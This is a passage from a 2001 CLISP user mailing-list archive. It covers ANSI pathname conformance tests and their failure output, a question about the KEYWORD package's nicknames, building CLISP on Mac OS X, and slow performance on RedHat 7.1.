are not thrown when executing compliant code. I am not testing the latter; if an implementation throws errors when executing valid code, it's broken beyond the remit of my tests; I'm testing for mistakes in the interpretation/reading of the standard. Now, the error message that you snipped above is probably: --- TRANSLATE-PATHNAME: replacement pieces ((:DIRECTORY "infix") "infix" "1") do not fit into #P"UNIX:USR;SHARE;COMMON-LISP;SOURCE;**;*.LISP.*" --- which is telling you that in non-ANSI mode logical-pathname-translations and friends are not entirely happy (it's interpreted #P"UNIX:USR;SHARE;COMMON-LISP;SOURCE;**;*.LISP.*" as a physical pathname (with a very long name). This should have been a clue; I'm sorry it wasn't obvious enough. > I suggest that you look at the CLOCC/src/tools/ansi-tests and the CLISP > test suite (on which the CLOCC tests are based). I suggest that when you test your implementation for ANSI compliance you run it in ANSI mode; it's not all that surprising that odd effects occur when you don't; I'm not trying to evaluate the bizarre dialect that is clisp in non-ANSI mode. > It would be nice if your test could be added to those test suites. Yes; the problem lies in constructing things that can lie in an already-established framework. The problem in doing this is that often there is no uniquely-determined answer (should the device be nil or :unspecific? What should the version be in (make-pathname)?) and so it isn't quite as simple as just copying and pasting into an existing test framework. > I wish I could investigate the CLISP errors - I cannot now since I do > not have the form(s?) that generate errors (I want to see _all_ of them > before I delve into this) and I do not have time to read your code. > Sorry. I have attached the results of running the code on clisp 2.27 in ansi mode (with the -ansi command-line option) on my Debian Unix system. I hope that the output is sufficiently clear; if you're not going to be reading the code at all, you may need to know that "UNIX" and "CL-LIBRARY" are defined as logical hosts. It may be that the output is insufficiently detailed to enable you to pinpoint errors, but I hope that it will provide sufficient motivation to look at those routines that seem to be causing problems. Cheers, Christophe -- Jesus College, Cambridge, CB5 8BL +44 1223 510 299 http://www-jcsu.jesus.cam.ac.uk/~csr21/ (defun pling-dollar (str schar arg) (first (last +))) (make-dispatch-macro-character #\! t) (set-dispatch-macro-character #\! #\$ #'pling-dollar) --nFreZHaLTZJo0R7j Content-Type: text/plain; charset=us-ascii Content-Disposition: attachment; filename=clisp-errors ====================================================================== TRANSLATE-LOGICAL-PATHNAME tests ---------------------------------------------------------------------- ====================================================================== PARSE-NAMESTRING tests ---------------------------------------------------------------------- Mistake in parse-namestring. Parsing "FOO;BAR.LISP.3", expected #S(LOGICAL-PATHNAME :HOST "UNIX" :DEVICE NIL :DIRECTORY (:ABSOLUTE "FOO") :NAME "BAR" :TYPE "LISP" :VERSION 3), but got #S(LOGICAL-PATHNAME :HOST NIL :DEVICE NIL :DIRECTORY (:ABSOLUTE "FOO") :NAME "BAR" :TYPE "LISP" :VERSION 3). Mistake in parse-namestring. Parsing "FOO;BAR.LISP.3", expected #S(LOGICAL-PATHNAME :HOST "UNIX" :DEVICE NIL :DIRECTORY (:ABSOLUTE "FOO") :NAME "BAR" :TYPE "LISP" :VERSION 3), but got #S(LOGICAL-PATHNAME :HOST NIL :DEVICE NIL :DIRECTORY (:ABSOLUTE "FOO") :NAME "BAR" :TYPE "LISP" :VERSION 3). ====================================================================== MERGE-PATHNAME tests ---------------------------------------------------------------------- Merging #P"/tmp/foo.bar" with defaults #P"baz/quux.lisp". ---------------------------------------------------------------------- Merging #P"baz/quux.lisp" with defaults #P"/tmp/foo.bar". ---------------------------------------------------------------------- Merging #S(LOGICAL-PATHNAME :HOST "UNIX" :DEVICE NIL :DIRECTORY (:ABSOLUTE "TMP") :NAME "FOO" :TYPE "BAR" :VERSION NIL) with defaults #S(LOGICAL-PATHNAME :HOST "UNIX" :DEVICE NIL :DIRECTORY (:RELATIVE "BAZ") :NAME "QUUX" :TYPE "LISP" :VERSION NIL). ---------------------------------------------------------------------- Merging #S(LOGICAL-PATHNAME :HOST "UNIX" :DEVICE NIL :DIRECTORY (:RELATIVE "BAZ") :NAME "QUUX" :TYPE "LISP" :VERSION NIL) with defaults #S(LOGICAL-PATHNAME :HOST "UNIX" :DEVICE NIL :DIRECTORY (:ABSOLUTE "TMP") :NAME "FOO" :TYPE "BAR" :VERSION NIL). ---------------------------------------------------------------------- Merging #S(LOGICAL-PATHNAME :HOST "UNIX" :DEVICE NIL :DIRECTORY (:RELATIVE "FOO" "BAR") :NAME NIL :TYPE NIL :VERSION NIL) with defaults #S(LOGICAL-PATHNAME :HOST "UNIX" :DEVICE NIL :DIRECTORY (:RELATIVE "BAZ") :NAME "QUUX" :TYPE "LISP" :VERSION 3). Mistake in merge-pathnames. Incorrect answer; expected #S(LOGICAL-PATHNAME :HOST "UNIX" :DEVICE NIL :DIRECTORY (:RELATIVE "BAZ" "FOO" "BAR") :NAME "QUUX" :TYPE "LISP" :VERSION 3), received #S(LOGICAL-PATHNAME :HOST "UNIX" :DEVICE NIL :DIRECTORY (:RELATIVE "FOO" "BAR") :NAME "QUUX" :TYPE "LISP" :VERSION :NEWEST). ---------------------------------------------------------------------- Merging #S(LOGICAL-PATHNAME :HOST "UNIX" :DEVICE NIL :DIRECTORY (:RELATIVE "BAZ") :NAME "QUUX" :TYPE "LISP" :VERSION 3) with defaults #S(LOGICAL-PATHNAME :HOST "UNIX" :DEVICE NIL :DIRECTORY (:RELATIVE "FOO" "BAR") :NAME NIL :TYPE NIL :VERSION NIL). Mistake in merge-pathnames. Incorrect answer; expected #S(LOGICAL-PATHNAME :HOST "UNIX" :DEVICE NIL :DIRECTORY (:RELATIVE "FOO" "BAR" "BAZ") :NAME "QUUX" :TYPE "LISP" :VERSION 3), received #S(LOGICAL-PATHNAME :HOST "UNIX" :DEVICE NIL :DIRECTORY (:RELATIVE "BAZ") :NAME "QUUX" :TYPE "LISP" :VERSION 3). ---------------------------------------------------------------------- Merging #S(LOGICAL-PATHNAME :HOST "UNIX" :DEVICE NIL :DIRECTORY (:RELATIVE) :NAME "FOO" :TYPE NIL :VERSION NIL) with defaults #S(LOGICAL-PATHNAME :HOST "UNIX" :DEVICE NIL :DIRECTORY (:RELATIVE) :NAME "BAR" :TYPE "LISP" :VERSION 3). ---------------------------------------------------------------------- Merging #S(LOGICAL-PATHNAME :HOST "UNIX" :DEVICE NIL :DIRECTORY (:RELATIVE) :NAME "BAR" :TYPE "LISP" :VERSION 3) with defaults #S(LOGICAL-PATHNAME :HOST "UNIX" :DEVICE NIL :DIRECTORY (:RELATIVE) :NAME "FOO" :TYPE NIL :VERSION NIL). ---------------------------------------------------------------------- Testing default-version handling. ---------------------------------------------------------------------- ====================================================================== COMPILE-FILE-PATHNAME tests ---------------------------------------------------------------------- Testing compile-file-pathname with pathname as #P"/tmp/foo.lisp". ---------------------------------------------------------------------- Testing compile-file-pathname with pathname as #S(LOGICAL-PATHNAME :HOST "UNIX" :DEVICE NIL :DIRECTORY (:ABSOLUTE "TMP") :NAME "FOO" :TYPE "LISP" :VERSION NIL). Mistake in compile-file-pathname. One or more of host, device, directory and name in #S(LOGICAL-PATHNAME :HOST "UNIX" :DEVICE NIL :DIRECTORY (:ABSOLUTE "TMP") :NAME "FOO" :TYPE "LISP" :VERSION NIL) has not been preserved by compile-file-pathname, which returned #S(LOGICAL-PATHNAME :HOST "UNIX" :DEVICE NIL :DIRECTORY (:ABSOLUTE) :NAME "FOO" :TYPE "FAS" :VERSION :NEWEST). ---------------------------------------------------------------------- ====================================================================== MAKE-PATHNAME tests ---------------------------------------------------------------------- Testing make-pathname defaults with *default-pathname-defaults* as: #P"" ---------------------------------------------------------------------- Testing make-pathname defaults with *default-pathname-defaults* as: #P"/tmp/foo/bar.baz.3" ---------------------------------------------------------------------- Testing make-pathname defaults with *default-pathname-defaults* as: #S(LOGICAL-PATHNAME :HOST "CL-LIBRARY" :DEVICE NIL :DIRECTORY (:ABSOLUTE "FOO") :NAME "BAR" :TYPE "BAZ" :VERSION 3) Host handling in defaults wrong. The host in the return from (make-pathname) should be the same as the host in *default-pathname-defaults*; here (pathname-host *default-pathname-defaults*) => "CL-LIBRARY", while (pathname-host (make-pathname)) => NIL. Host handling in defaults wrong. The host in the return from (make-pathname :defaults *default-pathname-defaults*) should be the same as the host in *default-pathname-defaults*; here (pathname-host *default-pathname-defaults*) => "CL-LIBRARY", while (pathname-host (make-pathname :defaults *default-pathname-defaults*)) => NIL. Version handling in defaults wrong. The version in the return from (make-pathname :defaults *default-pathname-defaults*) should be the same as the version in *default-pathname-defaults* (here 3), but (pathname-version (make-pathname :defaults *default-pathname-defaults*)) => NIL. ---------------------------------------------------------------------- ====================================================================== NAMESTRING tests ---------------------------------------------------------------------- Testing namestring with pathname as #S(LOGICAL-PATHNAME :HOST "UNIX" :DEVICE NIL :DIRECTORY (:ABSOLUTE "TMP") :NAME "FOO" :TYPE "BAR" :VERSION 3). Mistake in host-namestring. Calling (host-namestring ) should return the string name of the logical host, here "UNIX", but (host-namestring pathname) => "". Mistake in directory-namestring. Calling (directory-namestring ) should return the string name of the logical directory, here "TMP;", but (directory-namestring pathname) => "/tmp/". Mistake in file-namestring. Calling (file-namestring ) should return the string name of the logical file, here "FOO.BAR.3", but (file-namestring pathname) => "foo.bar". Mistake in namestring. Calling (namestring ) should return The string name of the logical file, here "UNIX:TMP;FOO.BAR.3", but (namestring pathname) => "/tmp/foo.bar". ---------------------------------------------------------------------- Testing namestring with pathname as #S(LOGICAL-PATHNAME :HOST "UNIX" :DEVICE NIL :DIRECTORY (:RELATIVE "TMP") :NAME "FOO" :TYPE "BAR" :VERSION 3). Mistake in host-namestring. Calling (host-namestring ) should return the string name of the logical host, here "UNIX", but (host-namestring pathname) => "". Mistake in directory-namestring. Calling (directory-namestring ) should return the string name of the logical directory, here ";TMP;", but (directory-namestring pathname) => "tmp/". Mistake in file-namestring. Calling (file-namestring ) should return the string name of the logical file, here "FOO.BAR.3", but (file-namestring pathname) => "foo.bar". Mistake in namestring. Calling (namestring ) should return The string name of the logical file, here "UNIX:;TMP;FOO.BAR.3", but (namestring pathname) => "tmp/foo.bar". ---------------------------------------------------------------------- Testing namestring with pathname as #P"/TMP/FOO.BAR". ---------------------------------------------------------------------- Testing namestring with pathname as #P"TMP/FOO.BAR". ---------------------------------------------------------------------- Testing namestring with pathname as #P"/tmp/foo.bar". ---------------------------------------------------------------------- Testing namestring with pathname as #P"tmp/foo.bar". ---------------------------------------------------------------------- --nFreZHaLTZJo0R7j-- From sds@gnu.org Sat Aug 25 08:35:19 2001 Received: from out2.prserv.net ([32.97.166.32] helo=prserv.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15afSx-0002cR-00 for ; Sat, 25 Aug 2001 08:35:19 -0700 Received: from xchange.com (slip-32-100-202-211.ma.us.prserv.net[32.100.202.211]) by prserv.net (out2) with ESMTP id <2001082515343220204lno8ue>; Sat, 25 Aug 2001 15:35:08 +0000 To: Christophe Rhodes Cc: CLISP Subject: Re: [clisp-list] Pathname tests References: <20010824165738.A12803@cam.ac.uk> <20010824173940.A13088@cam.ac.uk> <20010825105739.A16382@cam.ac.uk> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20010825105739.A16382@cam.ac.uk> Date: 25 Aug 2001 11:34:01 -0400 Message-ID: Lines: 62 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.105 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message <20010825105739.A16382@cam.ac.uk> > * On the subject of "Re: [clisp-list] Pathname tests" > * Sent on Sat, 25 Aug 2001 10:57:39 +0100 > * Honorable Christophe Rhodes writes: > > There are two issues, only one of which this code is testing; one is > making sure that `answers' from pathname functions are right; the > other is that errors are not thrown when executing compliant code. I > am not testing the latter; if an implementation throws errors when > executing valid code, it's broken beyond the remit of my tests; I'm > testing for mistakes in the interpretation/reading of the standard. In that case it would have been helpful if you added something like this: #+clisp (progn (format t "putting CLISP in ANSI compatibility mode~%") (setq ext:*merge-pathnames-ansi* t ext:*parse-namestring-ansi* t)) > > I suggest that you look at the CLOCC/src/tools/ansi-test and the CLISP > > test suite (on which the CLOCC tests are based). > > I suggest that when you test your implementation for ANSI compliance > you run it in ANSI mode; it's not all that surprising that odd effects > occur when you don't; you are right - I forgot to add -ansi. my fault. still, the fact that you do not supply the form(s) that generated the errors makes your test suite much less useful. > > It would be nice if your test could be added to those test suites. > > Yes; the problem lies in constructing things that can lie in an > already-established framework. The problem in doing this is that often > there is no uniquely-determined answer (should the device be nil or > :unspecific? What should the version be in (make-pathname)?) and so it > isn't quite as simple as just copying and pasting into an existing > test framework. this is a very common problem and it has been successfully solved in both CLISP test suite and the CLOCC one. > hope that the output is sufficiently clear; not at all. good output allows using cut and paste to reproduce errors. i.e., you should print the entire forms which lead to incorrect output together with all the init forms (defining logical hosts &c). CLOCC/src/tools/ansi-tests also prints references to the parts of the manual on which the particular test is based - which is very good. again, please see CLISP/tests and CLOCC/src/tools/ansi-test for examples. I will look at the problems on Monday. -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on Why do we want intelligent terminals when there are so many stupid users? From marcoxa@cs.nyu.edu Sat Aug 25 11:44:35 2001 Received: from octagon.mrl.nyu.edu ([128.122.47.83]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15aiQ6-0002eQ-00 for ; Sat, 25 Aug 2001 11:44:34 -0700 Received: (from marcoxa@localhost) by octagon.mrl.nyu.edu (8.9.3/8.9.3) id OAA14935; Sat, 25 Aug 2001 14:40:43 -0400 Date: Sat, 25 Aug 2001 14:40:43 -0400 Message-Id: <200108251840.OAA14935@octagon.mrl.nyu.edu> X-Authentication-Warning: octagon.mrl.nyu.edu: marcoxa set sender to marcoxa@cs.nyu.edu using -f From: Marco Antoniotti To: clisp-list@lists.sourceforge.net CC: marcoxa@cs.nyu.edu Subject: [clisp-list] (package-nicknames "KEYWORD") Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: ... returns (""). While working with CL-XML, this causes problems. Is the above nickname conformant? Cheers BTW. The same happens in CMUCL. -- Marco Antoniotti ======================================================== NYU Courant Bioinformatics Group tel. +1 - 212 - 998 3488 719 Broadway 12th Floor fax +1 - 212 - 995 4122 New York, NY 10003, USA http://bioinformatics.cat.nyu.edu "Hello New York! We'll do what we can!" Bill Murray in `Ghostbusters'. From sds@gnu.org Sat Aug 25 13:27:54 2001 Received: from out4.prserv.net ([32.97.166.34] helo=prserv.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15ak26-0005YL-00 for ; Sat, 25 Aug 2001 13:27:54 -0700 Received: from xchange.com (slip-32-101-212-107.ma.us.prserv.net[32.101.212.107]) by prserv.net (out4) with ESMTP id <20010825202747204025hmu1e>; Sat, 25 Aug 2001 20:27:49 +0000 To: Marco Antoniotti Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] (package-nicknames "KEYWORD") References: <200108251840.OAA14935@octagon.mrl.nyu.edu> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <200108251840.OAA14935@octagon.mrl.nyu.edu> Date: 25 Aug 2001 16:27:32 -0400 Message-ID: Lines: 19 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.105 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message <200108251840.OAA14935@octagon.mrl.nyu.edu> > * On the subject of "[clisp-list] (package-nicknames "KEYWORD")" > * Sent on Sat, 25 Aug 2001 14:40:43 -0400 > * Honorable Marco Antoniotti writes: > > .... returns (""). > Is the above nickname conformant? yes, why not? > While working with CL-XML, this causes problems. it caused me no problems with CLLIB/xml.lisp -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on Flying is not dangerous; crashing is. From marcoxa@cs.nyu.edu Sun Aug 26 12:49:00 2001 Received: from octagon.mrl.nyu.edu ([128.122.47.83]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15b5u0-0003q1-00 for ; Sun, 26 Aug 2001 12:49:00 -0700 Received: (from marcoxa@localhost) by octagon.mrl.nyu.edu (8.9.3/8.9.3) id PAA25003; Sun, 26 Aug 2001 15:45:11 -0400 Date: Sun, 26 Aug 2001 15:45:11 -0400 Message-Id: <200108261945.PAA25003@octagon.mrl.nyu.edu> X-Authentication-Warning: octagon.mrl.nyu.edu: marcoxa set sender to marcoxa@cs.nyu.edu using -f From: Marco Antoniotti To: sds@gnu.org CC: clisp-list@lists.sourceforge.net In-reply-to: (message from Sam Steingold on 25 Aug 2001 16:27:32 -0400) Subject: Re: [clisp-list] (package-nicknames "KEYWORD") References: <200108251840.OAA14935@octagon.mrl.nyu.edu> Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > Cc: clisp-list@lists.sourceforge.net > Reply-To: sds@gnu.org > Mail-Copies-To: never > From: Sam Steingold > User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.105 > Content-Type: text/plain; charset=us-ascii > Sender: clisp-list-admin@lists.sourceforge.net > X-BeenThere: clisp-list@lists.sourceforge.net > X-Mailman-Version: 2.0.5 > Precedence: bulk > List-Help: > List-Post: > List-Subscribe: , > > List-Id: CLISP user discussion > List-Unsubscribe: , > > List-Archive: > Date: 25 Aug 2001 16:27:32 -0400 > X-Filter-Version: 1.7 (cat) > Content-Length: 805 > > > * In message <200108251840.OAA14935@octagon.mrl.nyu.edu> > > * On the subject of "[clisp-list] (package-nicknames "KEYWORD")" > > * Sent on Sat, 25 Aug 2001 14:40:43 -0400 > > * Honorable Marco Antoniotti writes: > > > > .... returns (""). > > Is the above nickname conformant? > > yes, why not? I don't know. I haven't checked the CLHS. Looks like ACL, CMUCL and CLisp do this, while MCL and LW return (). > > > While working with CL-XML, this causes problems. > > it caused me no problems with CLLIB/xml.lisp CL-XML is a different package. http://homepage.mac.com/james_anderson/XML/ Cheers -- Marco Antoniotti ======================================================== NYU Courant Bioinformatics Group tel. +1 - 212 - 998 3488 719 Broadway 12th Floor fax +1 - 212 - 995 4122 New York, NY 10003, USA http://bioinformatics.cat.nyu.edu "Hello New York! We'll do what we can!" Bill Murray in `Ghostbusters'. From leswet@berksiu.k12.pa.us Wed Aug 29 19:54:25 2001 Received: from steamer.berksiu.k12.pa.us ([205.235.48.22]) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15cHyK-0006Ov-00 for ; Wed, 29 Aug 2001 19:54:24 -0700 Message-ID: <3B8DAADC.BBA422C6@berksiu.k12.pa.us> Date: Wed, 29 Aug 2001 22:54:20 -0400 From: leswet@berksiu.k12.pa.us X-Mailer: Mozilla 4.75C-CCK-MCD {C-UDP; EBM-APPLE} (Macintosh; U; PPC) X-Accept-Language: en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Length: 345 Content-Type: text/plain; charset=us-ascii; x-mac-type="54455854"; x-mac-creator="4D4F5353" Content-Transfer-Encoding: 7bit Subject: [clisp-list] CLISP for MAC OS X Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: I recently downloaded CLISP 2.25.1 for the MAC OS X but I am having trouble getting it built. The instructions state to type make at the UNIX prompt, but Apple's version of UNIX doesn't have the make executable. Can I merely download the make command from GNU? Is there anything else I need to do? Thanks to all who ported CLISP to MAC. Les From rrschulz@cris.com Wed Aug 29 20:05:10 2001 Received: from uhura.concentric.net ([206.173.118.93]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15cI8h-0004hQ-00 for ; Wed, 29 Aug 2001 20:05:09 -0700 Received: from cliff.concentric.net (cliff.concentric.net [206.173.118.90]) by uhura.concentric.net [Concentric SMTP Routing 1.0] id f7U353r04951 for ; Wed, 29 Aug 2001 23:05:03 -0400 (EDT) Received: from Clemens.cris.com (da003d0800.sjc-ca.osd.concentric.net [64.1.3.33]) by cliff.concentric.net (8.9.1a) id XAA22725; Wed, 29 Aug 2001 23:05:01 -0400 (EDT) Message-Id: <5.1.0.14.2.20010829200546.02ae8630@pop3.cris.com> X-Sender: rrschulz@pop3.cris.com X-Mailer: QUALCOMM Windows Eudora Version 5.1 Date: Wed, 29 Aug 2001 20:06:01 -0700 To: clisp-list@lists.sourceforge.net From: Randall R Schulz Subject: Re: [clisp-list] CLISP for MAC OS X Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Les, Did you install the developer tools? They're on a separate CD from the main end-user system that's on the primary install CD. I seem to recall seeing somewhere that you only get the developer tool's CD with the retail MacOS X package, but you don't get that CD or the tools when your MacOS X was pre-installed on a Mac purchased recently enough to have MacOS X pre-installed. In that case, you can no doubt download the necessary tools from Apple's developer Web site. Very little in the way of Apple's tools are charged for these days. Good luck. Randall Schulz Mountain View, CA USA At 19:54 2001-08-29, you wrote: >I recently downloaded CLISP 2.25.1 for the MAC OS X but I am having >trouble getting it built. >The instructions state to type make at the UNIX prompt, but Apple's >version of UNIX doesn't >have the make executable. Can I merely download the make command from >GNU? >Is there anything else I need to do? > >Thanks to all who ported CLISP to MAC. > >Les From Randy.Justice@cnet.navy.mil Thu Aug 30 05:29:26 2001 Received: from grlu5117.cnet.navy.mil ([160.127.129.23]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15cQwJ-0008MC-00 for ; Thu, 30 Aug 2001 05:28:55 -0700 Received: from penx68322m1.cnet.navy.mil (pens0394.cnet.navy.Mil [160.125.210.190]) by grlu5117.cnet.navy.mil (8.9.3 (PHNE_18546)/8.9.3) with ESMTP id HAA13931 for ; Thu, 30 Aug 2001 07:28:16 -0500 (CDT) Received: by pens0394.cnet.navy.Mil with Internet Mail Service (5.5.2653.19) id ; Thu, 30 Aug 2001 07:29:03 -0500 Message-ID: From: "Justice, Randy -CONT(DYN)" To: clisp-list@lists.sourceforge.net Date: Thu, 30 Aug 2001 07:29:02 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C1314F.59D42FA0" Subject: [clisp-list] RedHat 7.1 and CLISP 2.27 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C1314F.59D42FA0 Content-Type: text/plain; charset="iso-8859-1" I installed RedHat 7.1, full installation, and CLISP 2.27. Both installations seem to went well without any problems. My general problem is that CLISP is running very slow. My CLISP program is timed based - It runs an algorithm for certain periods of time then exits. The program measures runtime not clock time. It takes about 3X times longer to run the program. I have checked the processor utilization using the "top" command. The CLISP program always has 98%+ of the CPU. In an attempt for a solution, I changed the "priority" of the lisp executable from "0" to "-10". Can anyone help? Could it be a bug in CLISP 2.27? Could it be a bug in RedHat? Could it be a RedHat Admin problem? What demons don't I need? I'm clueless on a solution. Should I down grade to RedHat 7.0? Should I down grade CLISP? FYI the RedHat system is non GUI. I know my CLISP program works well in Windows 2000, and RedHat 7.0. Any help is welcome.. Randy Justice ------_=_NextPart_001_01C1314F.59D42FA0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable RedHat 7.1 and CLISP 2.27

I installed RedHat 7.1, full installation,  and = CLISP 2.27.   Both installations seem to went well without = any problems.

 
My general problem is that CLISP is running very = slow. My CLISP program is timed based - It runs an
algorithm for certain periods of time then exits. = The program measures runtime not clock time. 
It takes about 3X times longer to run the program. I = have checked the processor utilization using the "top" = command.  The CLISP program always has 98%+ of the CPU.  In = an attempt for a solution, I changed the "priority" of the = lisp executable from "0" to "-10".   =

 
Can anyone help?   Could it be a bug in = CLISP 2.27?  Could it be a bug in RedHat?   Could it be = a RedHat Admin problem?  What demons don't I need?  I'm = clueless on a solution.  Should I down grade to RedHat = 7.0?   Should I down grade CLISP?   FYI the RedHat = system is non GUI. 

 
I know my CLISP program works well in Windows 2000, = and RedHat 7.0.    
 
Any help is welcome..
 
Randy = Justice        
 

------_=_NextPart_001_01C1314F.59D42FA0-- From sds@gnu.org Thu Aug 30 06:34:35 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15cRxr-00006V-00 for ; Thu, 30 Aug 2001 06:34:35 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id JAA07393; Thu, 30 Aug 2001 09:34:31 -0400 (EDT) X-Envelope-To: To: "Justice, Randy -CONT\(DYN\)" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] RedHat 7.1 and CLISP 2.27 References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Date: 30 Aug 2001 09:33:48 -0400 Message-ID: Lines: 41 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.105 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message > * On the subject of "[clisp-list] RedHat 7.1 and CLISP 2.27" > * Sent on Thu, 30 Aug 2001 07:29:02 -0500 > * Honorable "Justice, Randy -CONT\(DYN\)" writes: > > I installed RedHat 7.1, full installation, and CLISP 2.27. Both > installations seem to went well without any problems. can you make an RPM? > My general problem is that CLISP is running very slow. My CLISP > program is timed based - It runs an algorithm for certain periods of > time then exits. The program measures runtime not clock time. It > takes about 3X times longer to run the program. compared to what? > I changed the "priority" of the lisp executable from "0" to "-10". this is not likely to help. > Can anyone help? Could it be a bug in CLISP 2.27? Could it be a bug > in RedHat? Could it be a RedHat Admin problem? What demons don't I > need? I'm clueless on a solution. Should I down grade to RedHat 7.0? > Should I down grade CLISP? FYI the RedHat system is non GUI. > I know my CLISP program works well in Windows 2000, and RedHat 7.0. 1. please make sure that you are running compiled code on both win2k, rh7 and rh7.1 2. if you still observe the performance hit, get CLOCC/src/tools/monitor/metering.lisp and find out which part of the program is hit. -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on Software is like sex: it's better when it's free. From Randy.Justice@cnet.navy.mil Thu Aug 30 07:39:38 2001 Received: from grlu5117.cnet.navy.mil ([160.127.129.23]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15cSyH-0004qh-00 for ; Thu, 30 Aug 2001 07:39:05 -0700 Received: from penx68322m1.cnet.navy.mil (pens0394.cnet.navy.Mil [160.125.210.190]) by grlu5117.cnet.navy.mil (8.9.3 (PHNE_18546)/8.9.3) with ESMTP id JAA22405; Thu, 30 Aug 2001 09:38:25 -0500 (CDT) Received: by pens0394.cnet.navy.Mil with Internet Mail Service (5.5.2653.19) id ; Thu, 30 Aug 2001 09:39:12 -0500 Message-ID: From: "Justice, Randy -CONT(DYN)" To: "'sds@gnu.org'" , "Justice, Randy -CONT(DYN)" Cc: clisp-list@lists.sourceforge.net Subject: RE: [clisp-list] RedHat 7.1 and CLISP 2.27 Date: Thu, 30 Aug 2001 09:39:11 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C13161.88695E00" Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C13161.88695E00 Content-Type: text/plain; charset="iso-8859-1" I will try to make an RPM.. 